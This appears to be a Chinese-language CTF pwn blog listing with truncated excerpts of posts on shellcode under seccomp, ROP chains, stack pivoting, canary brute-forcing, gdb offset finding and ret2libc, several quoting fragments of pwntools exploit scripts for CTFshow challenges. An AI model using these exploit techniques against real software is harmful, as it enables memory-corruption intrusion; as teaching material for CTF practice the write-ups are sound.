ret2shellcode与沙箱
这一块的题难度上升的有点快,已经涉及到基本的汇编知识了,并且明显看出来在为接下来的ret2syscall做铺垫,exp也是不好理解,接下来进行详细的讲解 沙箱seccomp函数,它会阻止进程的一部分系统调用,比如我们的execve,这种情况下我们无法直接拿到shell,只能去通过orw,即open-read-write去读出flag文件 seccomp-tools dump ./pwn 我们可以通过上述指令查看允许的系统调用 pwntools的前置语法基础我们需要一些pwntools的语法,不过这并不算难 asm(code, vma=0, extract=True, arch=None, os=None) 后面三个不用管,我们重点看前两个 code是必填的,它包含汇编指令的字符串vms是虚拟内存地址,是指定代码被编译时所处的起始地址 asm(shellcraft.你要调用的函数) shellcraft不仅可以帮助我们生成shellcode的汇编,还可以帮我们生成某个函数的汇编代码,这样就不需要我们自己生成了 如果我们需...
初识ropchain和one_gadget
Ropchain一把梭工具,非常好用,比较简单就不介绍了 eg:CTFshow pwn73 1234567891011121314151617181920212223242526272829303132333435363738394041from pwn import *from struct import packio=process("./pwn73")# Padding goes herep = cyclic(0x18+4)p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b81c6) # pop eax ; retp += '/bin'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack(...
初识栈迁移
目的:将栈迁移到bss heap libc等上 leavemove esp ebppop ebp 把栈顶的值弹给EBP寄存器 retpop rip 从当前位置弹出值兵赋给ripjmp rip 函数的退出 move esp ebp 销毁栈pop ebp 给ebp赋值 把父函数ebp改成bss段的地址 销毁步骤正常ebp被修改 -00000028 s db ? 数组s-00000004 var_4 dd ? ida没识别出来的局部变量,表示距离ebp的距离为4+00000000 旧的ebp+00000004 r db 4 dup(?) 返回地址再往下 参数
用gdb调试ret2syscall
题目本身并不难,但是坑还是有的,我们重点关注gdb的使用 eg ctfshow pwn71(32位ret2sycall)1234567891011int __cdecl main(int argc, const char **argv, const char **envp){ int v4; // [esp+1Ch] [ebp-64h] BYREF setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("===============CTFshow--PWN==============="); puts("Try to use ret2syscall!"); gets(&v4); return 0;} 本题是静态编译,函数很多,自然想到ret2syscall。在v4存在明显栈溢出漏洞 这里的坑是ida给的这个0x64的偏移实际上是不准的,需要我们用gdb算一下 用gdb计算偏移量我们先不需要写exp,直接gdb程序即可 先用cyclic 2...
IDA常见函数总结
read函数 ssize_t read(int fd, void *buf, size_t count); fd:文件描述符 0 表示标准输入(stdin) 1 表示标准输出(stdout) 2 表示标准错误(stderr) buf:存放读取数据的缓冲区指针(指向内存) count:希望读取的字节数 read(0, &s[i], 1uLL); 从标准输入读取 1 个字节,存入 s[i]
初识gdb的使用与数组越界
开始做ISCTF的真题 girlfriend 题目难度:简单题目描述:你能记住你女朋友的生日嘛? 首先先点评一下,出题人出这个题缝合了两个关卡,把栈溢出,ret2text和数组越界全都考察了一遍,我认为出的水平非常高,符合新生赛要求 当然这么简单的一个题我居然想了一天,也确实是见识少了 123456789101112131415161718int __cdecl main(int argc, const char **argv, const char **envp){ char buf[40]; // [rsp+0h] [rbp-30h] BYREF char s1[8]; // [rsp+28h] [rbp-8h] BYREF init(argc, argv, envp); puts("welcome to isctf2024"); puts("first i need your team id"); read(0, buf, 0x30uLL); if ( strcmp(s1, "admin"...
canary爆破与简单的整数溢出
由于这道题的非常非常重要,我必须单独开一个blog讲解一下 canary保护一个开了canary保护的栈如下 [高地址]参数EIP(返回地址)EBPcanary局部变量(缓冲区buf)[低地址] 为了防止我们覆盖EIP,程序在缓冲区和返回地址之间插了一个随机生成的数值,即canary,如果canary的值和原本不符(比如被我们覆盖成了AAAAAAAA),程序会调用 __stack_chk_fail 函数,终止进程 我们可以把canary理解为cookie 因此,我们必须要在canary的位置覆盖上正确的值,才能覆盖到返回地址,目前有两种办法,泄露和爆破,先讲一下后者 爆破canary爆破的前提条件并不是所有的 Canary 都能爆破,通常需要满足以下两个条件之一: Fork 机制(BROP 中常见):服务器使用 fork() 创建子进程来处理请求。子进程的内存布局(包括 Canary)是父进程的副本,因此每次连接时的 Canary 都是一样的 静态 Canary:Canary 的值是固定的(例如从固定文件中读取,且文件内容不变),或者随机数种子被固定了。只要我们重新连接,Cana...
ret2shellcode刷题
首先写在前面:所有题都是没有开NX保护的,我都checksec过了,就不再每一题都贴了 ctfshow pwn60 入门难度shellcode 考点:strncpy函数 123456789101112int __cdecl main(int argc, const char **argv, const char **envp){ char s[100]; // [esp+1Ch] [ebp-64h] BYREF setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("CTFshow-pwn can u pwn me here!!"); gets(s); strncpy(buf2, s, 0x64u); printf("See you ~"); return 0;} 关于strncpy函数的介绍: https://www.runoob.com/cprogramming/c-function-strncpy.html 123456789f...
ret2libc进阶刷题
写了这么多ret2libc的博客,下面我们开始正式进入刷题,正好ctf关于ret2libc的题还有不少,那么我们就一道一道来。简单题只大体贴一下题目和exp,难题可以展开讲讲 ctfshow pwn47(32位) ez ret2libc 确实是很简单,给我打印了函数的真实地址,不过都无需了,直接套模板,改个偏移量和文件名完事 12345678910111213141516171819202122232425262728293031#!/usr/bin/env pythonfrom pwn import *from LibcSearcher import LibcSearchercontext.log_level = 'debug'context.binary = './pwn47'#sh = process('./pwn47')sh = remote('pwn.challenge.ctf.show', 28229)pwn47 = ELF('./pwn47')puts_plt =...
ret2libc进阶
前置知识点实际上,在之前的ret2libc题目中,我们还没有接触到ret2libc的核心,因为plt表里是存在现成的system的,但是大多数题目中,根本就没有出现或者引用过system函数,即使动态表里有system函数,程序也不会建立对应的plt表 因此,我们必须要知道system函数的地址,即进行经典的泄露libc的操作,这对于我们对ROP链的使用要求又上了一个台阶,因此我个人认为这一块到了pwn里真正开始上难度的地方了 在开始之前,我们必须要知道几个前置知识点,每一块想要掌握都需要费一番功夫 延迟绑定机制我们知道,在动态链接时,我们需要从动态链接库链接外部函数,那么这个链接外部函数的过程是怎么样的呢 实际上,程序在第一次调用某个外部函数前,程序是不知道这个函数的具体位置的,也只有在第一次调用时,它才会去找这个函数在libc里的真实地址 每次执行 func@plt 时,程序首先执行 jmp [got.func],即jmp到got表里对应函数的地址,接下来程序会做一个判断: 如果 GOT 中记录的是跳板地址(还没有被解析),也就是ida里看到的offset func地址,则...










